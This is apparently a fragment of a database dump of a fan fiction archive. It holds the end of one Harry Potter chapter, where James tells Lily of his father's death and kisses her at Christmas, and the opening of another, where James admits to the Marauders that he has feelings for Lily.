Kent.</p>\n\n<p>&nbsp;</p>\n<p>He hadn&#8217;t been at dinner the previous evening and neither James nor his mother had enlightened her as to the reasons of his absence. Not that she had dared to ask anyway.</p>\n\n<p>&nbsp;</p>\n<p>She was now sipping a rich, hot chocolate made especially for her by Minty. Mrs<font color="#ff0000">.</font> Potter had left for the Ministry early this morning and she was alone in the breakfast room with James. He was playing with his porridge and seemed as nervous as the day before.</p>\n\n<p>&nbsp;</p>\n<p>&quot;James?&quot;</p>\n\n<p>&nbsp;</p>\n<p>James started and looked up from his bowl.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I was wondering if your father would be here today. I have to talk to him about the fun- about something urgent. And--,&quot; Lily stopped as James dropped his spoon and paled. Alarmed, she placed her cup back on the saucer and reached across the table to take his hand. It was cold and trembling faintly. &quot;James? Are you alright?&quot;</p>\n\n<p>&nbsp;</p>\n<p>He swallowed. &quot;I&#8217;m fine,&quot; he croaked.</p>\n\n<p>&nbsp;</p>\n<p>Lily scowled. &quot;Of course you&#8217;re not fine. You&#8217;re trembling all over.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James looked away and swiftly retracted his hand at her words. &quot;I wanted to tell you ever since we arrived here yesterday&#8230;Merlin! I should have told you months ago. But I couldn&#8217;t&#8230;I haven&#8217;t told anyone&#8230;&quot; he stopped and met her eyes again.</p>\n\n<p>&nbsp;</p>\n<p>&quot;What is it James?&quot; Lily asked as gently as she could.</p>\n\n<p>&nbsp;</p>\n<p>&quot;He&#8217;s dead, Lily.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The words took a while to sink in. When they did, they left her stunned. &quot;<i>What?</i>&quot; The last time she had seen Marcus Potter was when he had come to pick James up at King&#8217;s Cross<font color="#ff0000"> </font>in June. He had seemed perfectly happy and in good health.</p>\n\n<p>&nbsp;</p>\n<p>&quot;He&#8217;s dead,&quot; James repeated, as if trying to convince himself.</p>\n\n<p>&nbsp;</p>\n<p>&quot;But how&#8230;when?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Last summer. During a Death Eater attack.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Oh James&#8230;I&#8217;m sorry I&#8212;I&#8212;I didn&#8217;t know. I never even suspected&#8230; what kind of a friend am I?&quot;</p>\n\n<p>&nbsp;</p>\n<p>This time it was James who reached across the table to take her hand. &quot;Don&#8217;t blame yourself Lily. I didn&#8217;t want anyone to know and I acted in consequence. You shouldn&#8217;t worry about me, I have done my mourning but you still need to do yours.&quot;</p>\n\n<p>&nbsp;</p>\n<p>His eyes were so kind, so full of understanding and love&#8230;did she really deserve a friend like him? </p>\n\n<p>&nbsp;</p>\n<p>She didn&#8217;t respond but squeezed his hand softly and he seemed satisfied. Their little moment was interrupted when the door swung open without any warning. Lily&#8217;s eyes widened when she saw her Defense Against The Dark Arts teacher walking in as if he owned the place. A House-elf a bit taller that Minty was following him, squealing excitedly. &quot;It is so good to see you again Master Keanan! Will sir be wanting any breakfast?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;No, thank you, Pippin. I already had breakfast.&quot; He talked to the elf but Lily could see him<font color="#ff0000"> </font>eyeing her and James&#8217; hands joined on the table. She guiltily withdrew her own but James didn&#8217;t move. </p>\n\n<p>&nbsp;</p>\n<p>&quot;What are you doing here? James<font color="#000080"> </font>was scowling and Lily was appalled to see him talking so rudely to one of their teachers.</p>\n\n<p>&nbsp;</p>\n<p>Raven seemed unfazed however. &quot;Good morning to you too, James.&quot; He then turned to Lily. &quot;Good morning Miss Evans.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily nodded in acknowledgement. </p>\n\n<p>&nbsp;</p>\n<p>He let Pippin take his cloak away before answering James&#8217; question. </p>\n\n<p>&nbsp;</p>\n<p>&quot;I am here at Headmaster Dumbledore&#8217;s request and I need to have a private word with Miss Evans.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily knew that James didn&#8217;t trust Raven. But she also knew that the very powerful wards around Potter Manor didn&#8217;t allow anyone with bad intentions to enter the protected grounds. </p>\n\n<p>&nbsp;</p>\n<p>James was aware of this of course, but he answered with great reluctance.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You can go into my father&#8217;s study. No one uses it anymore.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily followed Raven out of the room and was surprised to see that he seemed to know perfectly where to go. The fact that he seemed to be on a first-name basis with James had seemed logical; James himself had acknowledged their acquaintance. But there was obviously more to it than she had been told.</p>\n\n<p>&nbsp;</p>\n<p>She liked the study immediately. The fire burning in the grate, the old and comfortable leather chairs, the massive oak desk with countless bizarre artefacts haphazardly piled on top of it, the warm Persian rug&#8230;everything spoke of a room often used and used by someone who cared. It clearly <i>belonged</i> to someone. And, looking at Raven, Lily thought he might well be that someone. Of course she knew he <i>couldn&#8217;t</i> be, but the feeling was there nonetheless.</p>\n\n<p>&nbsp;</p>\n<p>He did not seem to mind her scrutiny. And, had she not known better, she would have thought he relished it.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Dumbledore asked me to accompany you to your parents&#8217; funerals,&quot; he said bluntly.</p>\n\n<p>&nbsp;</p>\n<p>Lily found she wasn&#8217;t even shocked. &quot;Why you?&quot; she simply asked.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I was available.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He was standing too far away for her to try and read his eyes. Judging from her one failed attempt back in September she doubted she would have read anything now anyway. She bit her lip before asking hesitantly, &quot;Aren&#8217;t you sorry to be &#8216;available&#8217;? I mean, you certainly have better things to do than following one of your students around.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Raven smiled sadly. &quot;I didn&#8217;t think you would share your classmates&#8217; opinion of me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Sir?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Would you deny that I am thought of as a heartless bastard? Possibly a Death Eater? Or, at the very least, a vampire?  I am perfectly capable of understanding and respecting someone&#8217;s distress.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I didn&#8217;t mean to be rude, sir,&quot; Lily apologised demurely. When she saw he seemed to soften slightly she thought it safe to ask her next question. &quot;Are you a relative of the Potters?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Raven stayed silent for so long that Lily thought he wouldn&#8217;t answer and she began playing with a metallic sphere on the desk to hide her embarrassment.</p>\n\n<p>&nbsp;</p>\n<p>&quot;A very distant relative,&quot; he said at last, watching her small hand rolling the sphere back and forth on the ancient wood.</p>\n\n<p>&nbsp;</p>\n<p> &quot;I guess the connection would be more evident if your hair was a bit longer. It&#8217;s too short to be unruly like James&#8217; but it&#8217;s the same raven black,&quot; Lily said distractedly, lifting the sphere to have closer look at the runes engraved in the metal. When she realised what she had said she blushed furiously. She sounded like one of those love-sick fifth years she&#8217;d heard gushing about the mysterious professor. </p>\n\n<p>&nbsp;</p>\n<p>She looked up cautiously but he now had his back turned and was examining a painting on the wall. She fumbled for something to say to cover up her blunder. &quot;It was nice of you to agree to accompany me to the f&#8212;to Kent. Thank you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He turned back to her and nodded. &quot;You are welcome. I will spend the night here and we will Apparate to your home tomorrow.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;But I don&#8217;t know how to&#8212;&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It doesn&#8217;t matter. I will take care of it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The way he said it, Lily had no doubt he would.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>***</p>\n\n<p>&nbsp;</p>\n<p>When Lily woke up on Christmas morning it was still dark and the big house was silent. Blindly, she slid a hand under her pillow and pulled out her wand. She whispered a <i>Lumos</i> spell and glanced at her watch. Five twenty. Surely no one was up yet.</p>\n\n<p>She knew she wouldn&#8217;t be able to get back to sleep and she had no wish to dwell on the memories of the past few days alone in her bed. There was only one option left.</p>\n\n<p>&nbsp;</p>\n<p>Her wand between her teeth, she put on a warm pair of socks and groped for her slippers. She found her Gryffindor dressing gown half hidden under the bed and shrugged it on on her way to the door. She tipped-toed in the corridor, praying for the old wooden floorboards to stay silent.</p>\n\n<p>&nbsp;</p>\n<p>James had shown her around the house after her t&#234;te &#224; t&#234;te with Raven and she had been particularly taken with the conservatory and its colourful array of strange plants. When she opened the door she was immediately assailed by the heady fragrance she remembered well. The air was hot and damp when she passed through the mini jungle occupying a good part of the glass room. The tip of her wand provided just enough light for her to follow the twisted path<font color="#ff0000">,</font> and she could hear the plants moving in the darkness. All the plants were of a wizarding species unknown to Muggles but James had assured her that none were dangerous and she walked confidently.</p>\n\n<p>&nbsp;</p>\n<p>She came out of the live labyrinth and stepped on soft grass, looking for the raspberry bush James had shown her the other day. It was the &#8216;mother&#8217; of the bush he had given her for her birthday. Having found what she was looking for, Lily lay down next to it and reached for a fruit, which she crushed between her fingers.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Nox&quot;, she whispered, letting the sweet aroma of the raspberry invade her senses.</p>\n\n<p>&nbsp;</p>\n<p>She smiled.</p>\n\n<p>&nbsp;</p>\n<p>It was there that James found her some time later.</p>\n\n<p>&nbsp;</p>\n<p>It was still dark and the light of his wand was reflected against his glasses.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I thought I would find you here,&quot; he said, sinking to the ground next to her. He planted his wand in the soft earth and observed his friend. &quot;Are you sad?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I feel at peace,&quot; Lily answered looking into his eyes.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Me too.&quot; </p>\n\n<p>&nbsp;</p>\n<p>Then he bent down and brushed his mouth softly against hers. </p>\n<p>&quot;Happy Christmas, Lily.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>***</p>\n\n<p>&nbsp;</p>\n<p>In a little clearing on the edge of the Forbidden Forest a red flower had popped out of the snow under a raspberry bush with frozen fruits. The poppy seemed very fragile amongst its taller vegetal neighbours. </p>\n\n<p>&nbsp;</p>\n<p>The stag walked daintily into his clearing. The red flower caught his eye. It hadn&#8217;t been here the day before. But it didn&#8217;t matter. It was in his realm and under his protection now.</p>\n\n<p>&nbsp;</p>\n<p>Satisfied with his inspection the stag walked away.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">*********************</p>\n\n<p>&nbsp;</p>\n<b></b><p><b>Important author&#8217;s note: </b>I&#8217;m going to have to put the fic on hold until early September. I&#8217;m going away for the summer and won&#8217;t have an internet access. But it won&#8217;t stop me from writing and I&#8217;ll post what I have as soon as I come back (around September 5). If you would like me to send you an e.mail when I start updating again just leave your address in your review.</p>\n<p>&nbsp;</p>'),
	(172, 1, '\n\n\n\nThe Flu: Love, Lily\n\n<p class="MsoBodyText">&#8220;You do\nbelieve me when I say I&#8217;m sorry, right? Lily?&#8221; The curly blonde at the end of\nLily&#8217;s bed was pleading and James couldn&#8217;t help but feel sorry for her. Then again,\nJenna Heartily had a way to manipulate people. But largely to get dates, so\nunless Jenna wanted to go out with Lily, James believed she really was sorry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of course\nI do! Jen, you don&#8217;t need to apologize over and over! I forgive you&#8230; I needn&#8217;t\nto either, because it was an accident!&#8221; Lily told her exasperatedly. James\ngrinned. Something told him that Jenna&#8217;s persistent apologizing was aggravating\nher more than the illness did. The same persistent apologizing was also what\nmade him suspicious if it was an accident. Well, falling into the lake might\nhave been, but&#8230; why would Jenna push Lily into the lake anyway? Jenna respected\nLily. Lily was&#8230; Lily was kind, forgiving, beautiful and&#8230; and&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lily\ncoughed, leaving his thoughts unfinished. James shook his head. He tried to not\nthink of her more than a friend but&#8212;oh! Why was this happening to him? She was\nhis <i>friend</i>. That was all. Nothing more. He didn&#8217;t want to be more&#8230;\ndidn&#8217;t he? No!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;James?&#8221;\nLily asked. He was standing in the doorway of the infirmary and currently\nbanging his head lightly on the frame. &#8220;Are you okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,&#8221; he\nreplied in a high voice. &#8220;Er&#8230; fine! Excuse me, I have to go&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lily\nblinked as he left. What was that about? She turned back to Jenna who was\nsmiling happily. &#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing,&#8221;\nthe other girl replied. &#8220;Oh yeah! Here!&#8221; She pulled out a parchment from her\npack. &#8220;I listed the homework you needed. I got Leah to ask some people in your\nother classes but then I had to do it myself when she had to go somewhere. So,\nwhen do you think Madam Pomfrey will get more supplies for the Pepper-up\npotion?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I don&#8217;t\nknow. Where&#8217;d all the ingredients go anyway?&#8221; Lily shrugged. She figured that\nMarauders probably took them, for something or other; a prank perhaps. Who\nknew? They wouldn&#8217;t tell her, that was for sure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So&#8230; get\nbetter! We miss you in the dormitories. It&#8217;s lonely without someone too break\nup the fighting between me and Elizabeth.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nabout Leah?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;She&#8217;s too\nfrank about it. She doesn&#8217;t bother soothing feelings. She&#8217;s just&#8230; too direct\nabout it. Liza&#8217;s sour all the time&#8217;s &#8216;cause of her and you know what that leads\nto.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,&#8221; Lily\nnodded. &#8220;I just found out what trait you two share. You&#8217;re both reserved and\nemotional. Strange combination.&#8221; She smiled. Those two, if one didn&#8217;t know them\nvery well, they&#8217;d think they were opposites but in fact, they were similar, in\nsome aspects, at least.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah&#8230;\nwell, she&#8217;s still my cousin. And she&#8217;s awfully bossy to me. I&#8217;ll see you\nlater,&#8221; Jenna waved goodbye and left. Leaving Lily with her thoughts. Now&#8230; <i>why</i>\nhad James run off like that? Frowning, she asked Madam Pomfrey for a spare\ninkwell, if she had one, because she remembered that she was out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I should\nbuy a new one next Hogsmeade visit,&#8221; she muttered as she took out a parchment\nand quill then started to write.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">---</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey!\nHow&#8217;s Lil?&#8221; Sirius asked James as he entered the Gryffindor common room. James\nlooked down, not saying a word, his mind fogged with his own thoughts. &#8220;Oi!\nPadfoot to Prongs! I&#8217;m talking to you here!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">James finally\nsnapped out of his stupor &#8220;Huh? Oh yeah&#8230; what&#8217;s your question?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius\nrolled his eyes and shook his head, &#8220;Jamsie, Jamsie&#8230; you&#8217;ve been visiting Lily\neveryday since she caught that darn flu! Don&#8217;t think we haven&#8217;t noticed the way\nyou stare at her! The only one oblivious, other than you, is her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;W-what?&#8221;\nThe other boy stuttered. &#8220;I haven&#8217;t been staring at Lily! I haven&#8217;t changed\nanyway I&#8217;ve looked at her!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">But the\nboy wouldn&#8217;t relent and put his arm around his best friend, and asked condescendingly,\n&#8220;Then why, old friend, are you being so defensive?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">James\ndidn&#8217;t answer, he hung is head in defeat and sighed heavily. &#8220;Okay, fine. So,\nI&#8217;m feeling <i>things</i> for her. But why? I shouldn&#8217;t be! She&#8217;s my <i>friend</i>.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay, how\nabout you lie down on the couch while I psychoanalyze you?&#8221; And to both their\nsurprise, James actually complied. &#8220;Okay, you really must be troubled&#8230; but you\nshouldn&#8217;t be. Lots of relationships sprouted from friendship.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Feeling\nuncomfortable James tried to change the subject, &#8220;Are you sure nobody&#8217;s just\ngoing to waltz in here? Like oh, I don&#8217;t know&#8212;&#8220; Just as he was contemplating on\nwho he should use as an example, Peter had entered with a raised eyebrow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He asked\nsuspiciously, &#8220;What are you two doing?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Psychoanalyzing\nProngs!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He&#8217;s got\n&#8216;feelings&#8217; for Lily!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Really?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Really!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;When\nyou&#8217;re done gossiping like girls!&#8221; James shouted, breaking the two&#8217;s\nexcitement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius\nshrugged, caring much less than James would&#8217;ve liked. &#8220;Oh, you&#8217;re a spoilsport,\nProngs. Relax. It&#8217;s not like it was any of the girls especially not&#8212;&#8220;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Especially\nnot <i>who</i>?&#8221; The boys turned to face two girls, one a tall raven-haired\ngirl who always seemed to be glaring and the other was shorter than even Peter\nwith long light brown hair and big eyes. It was the raven-haired one that\nspoke: Elizabeth Loraine. She wasn&#8217;t looking very happy; though she never did\nanyway. The other girl, Leah Tenshi, had a worried look on her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius\ngroaned. Great. Of all people. Them. At least&#8212;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey!\nWhat&#8217;s going on? Having a congregation or something?&#8221; All of them looked to see\nJenna entering the doorway. James shook his head. Jenna sounded so airy\nsometimes, one (namely Sirius) expected her to be blowing bubble gum and\ntwirling with her hair. Sirius did once tell him, &#8220;That girl is just so&#8230;\nditzy.&#8221; Well, at least they provided him a little distraction.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Where\nhave you been?&#8221; Leah asked, her eyebrows narrowing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Jenna\nwaved a hand dismissively, &#8220;No where.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Elizabeth\ntook a chance to make an insult, &#8220;Well, what do you expect from such a thick\nprat like you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh, sod\noff Liza! You conceited little ignoramus!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The boys\nlooked back and forth as they bantered on. Leah seemed to grow angrier with\neach insult they hurled at each other.&nbsp;\nShe snapped, &#8220;QUIET!&#8221; It was the loudest they&#8217;ve ever heard her but the\ngirls didn&#8217;t seem too surprised. &#8220;Lily&#8217;s the peacekeeper not me&#8230;&#8221; she muttered\nbitterly and glared at her roommates. &#8220;You two stop it. Go. I mean it.&#8221; And the\ntwo did, Elizabeth headed towards their dormitory while Jenna strode back out\nthe portrait hole. Leah sighed, took a deep breath, and fell in a chair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okaay\nthen,&#8221; Sirius blinked. &#8220;Now&#8230;&#8221; he turned back to where supposedly James was but\nfound an empty seat. &#8220;Hey! Potter you come back here! Where are you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He went\nthat way,&#8221; Leah pointed to the staircase leading to the boy&#8217;s dormitory. Sirius\nand Peter thanked her and rushed to their room. James was lying face down on\nhis bed, his head face flat on his pillow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now&#8230;\nlet&#8217;s get back to <i>Lily</i>,&#8221; Sirius said in an unusually calm voice,\nprocuring a pair of James&#8217; old glasses. He ignored his best friend&#8217;s muffled\n&#8216;no&#8217; and went on, conjuring a clipboard with some parchment. &#8220;When did you\nstart these &#8216;feelings&#8217;?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">James sat\nup and frowned at him. &#8220;I don&#8217;t know,&#8221; was his simple answer. &#8220;I just don&#8217;t\nknow.&#8221; He shook his head. &#8220;Padfoot, you aren&#8217;t helping.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius\nsighed and decided it was time to be serious, for once. &#8220;Then what&#8217;s wrong? Be\nhonest, if you like Lily&#8230; Why don&#8217;t you tell her?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nafraid,&#8221; James admitted. &#8220;Because&#8230; I don&#8217;t just <i>like</i> her. I think it\nmight be more than that and&#8230; I don&#8217;t know if she even likes me <i>that</i> way!\nAnd if she does, I don&#8217;t know if I&#8217;m ready to&#8230; to make a commitment like that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;A\ncommitment?&#8221; Sirius asked incredulously. &#8220;What do you mean a commitment? You\ndon&#8217;t mean&#8212;,&#8221; then realization dawned on him. &#8220;But-but we&#8217;re barely fifteen\nyears old! You can&#8217;t be thinking of <i>marriage</i> right now!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Marriage?&#8221;\nPeter piped up in disbelief, &#8220;You want to <i>marry</i> her?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shut it\nWormtail. Oh, I knew guys would be like this!&#8221; James snapped angrily. &#8220;I never\nsaid I wanted to marry her&#8230; but honestly&#8230; if we start going out, I think I&#8217;d\nwant to, and that&#8217;s why I&#8217;m scared!&#8221;&nbsp; He\nsighed, most of the burden being lifted from his heart.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why?&#8221;\nSirius further inquired. &#8220;So you&#8217;re afraid if you start going out with her\nyou&#8217;ll want to marry her?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A new\nvoice entered the dormitory, &#8220;Marry who?&#8221; It was Remus. &#8220;Leah was downstairs\nlooking awfully frustrated, she said you guys were up here. What happened?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;James\nfancies Lily,&#8221; Peter explained briefly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And he&#8217;s\nscared of &#8216;commitment&#8217; he thinks he&#8217;ll want if he goes out with her. And by\ncommitment, I mean &#8216;marriage&#8217;,&#8221; Sirius added, quoting &#8216;commitment&#8217; and\n&#8216;marriage&#8217; with his fingers. James rolled his eyes and glared at them. &#8220;Quit\npouting Prongs! It&#8217;s unbecoming! And he also thinks is inappropriate to like\nLily &#8216;cause she&#8217;s our friend. &#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh&#8230; is\nthat all?&#8221; Remus shrugged. &#8220;So Prongs is afraid of being in love?&#8221; James&#8217; head\nsnapped up. &#8220;&#8230; And you didn&#8217;t even notice it until recently, I&#8217;m guessing?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey\nMoony,&#8221; James greeted in a bitter voice, &#8220;Don&#8217;t you be analytical about my love\nlife too.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m just\ntelling you&#8217;ve got either no reason or all reason to be afraid. Because, sooner\nor later, Lily&#8217;s bound to finally become aware of your strange behavior around\nher, if she hasn&#8217;t already. That may or may not be a good thing.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Do you\nhave to be so reasonable? And what do you mean, &#8216;may or may not be a good thing&#8217;?&#8221;\nJames frowned, not liking the sound of it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230; to\nbe frank about it, either she accepts or rejects you. So stop fretting. Either\nway&#8230; it&#8217;s her decision. Unless you have some way to romance her?&#8221; The silence\nhe received was answer enough. &#8220;Then, good luck mate.&#8221; He picked up a parchment\nfrom his bedside (which was why he came in the first place) and started to head\nback downstairs when James stopped him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wait&#8230;\nRemus, I got a question.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus\nstopped but was hesitant. &#8220;Well, James, I&#8217;m not an expert when it comes to\nrelationships or anything. I don&#8217;t&#8212;&#8220;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well, you\nwere looking at it logically, I just need a little logic.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus\nsighed, &#8220;Well. To tell you the truth, I&#8217;ve heard there&#8217;s no logic in love. I&#8217;m\nreally not the one you should be asking&#8212;&#8220; James reassured him that he didn&#8217;t\ncare and it would be out of this uncomfortable situation if he just spilled.\n&#8220;Okay, okay. I&#8217;ll tell you what I got out of my sister&#8217;s insane ramblings: love\nis pretty much irrational. And, you don&#8217;t know why you feel like you do, but\nyou do. Your blind to what everyone else sees and chances are, if she doesn&#8217;t\nnotice, she&#8217;s probably got the same thing.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8230;\nthink so?&#8221; James asked his voice suddenly higher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well, you\nnever know. It&#8217;s Lily. She&#8217;s reserved, you never know with some of them. And\nshe&#8217;s also observant; she&#8217;s going to know, sooner or later. I don&#8217;t know what\nyou should do. I&#8217;ve&#8212;I&#8212;er&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s okay\nMoony, we know you don&#8217;t like talking about this stuff,&#8221; Sirius nodded\nsympathetic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus\nnodded, giving a relieved sigh. &#8220;Uh-huh&#8230; I&#8217;ll&#8230; see you later&#8230;&#8221; He slowly made\nhis way downstairs, still uneasy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay, he\nwas so freaked out, wasn&#8217;t he?&#8221; Sirius sniggered. Peter smiled slightly while\nJames rolled his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">James\nshrugged, &#8220;Oh Rem&#8217;s just shy, especially about personal things like that. We&#8217;d\nprobably be too, if we had Moony&#8217;s problems.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Stop it,&#8221;\nSirius glared at him, folding his arms, looking very severe. &#8220;You&#8217;re sounding\nso sensible&#8230; I don&#8217;t like it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Peter\nburst out laughing. James rolled his eyes again. 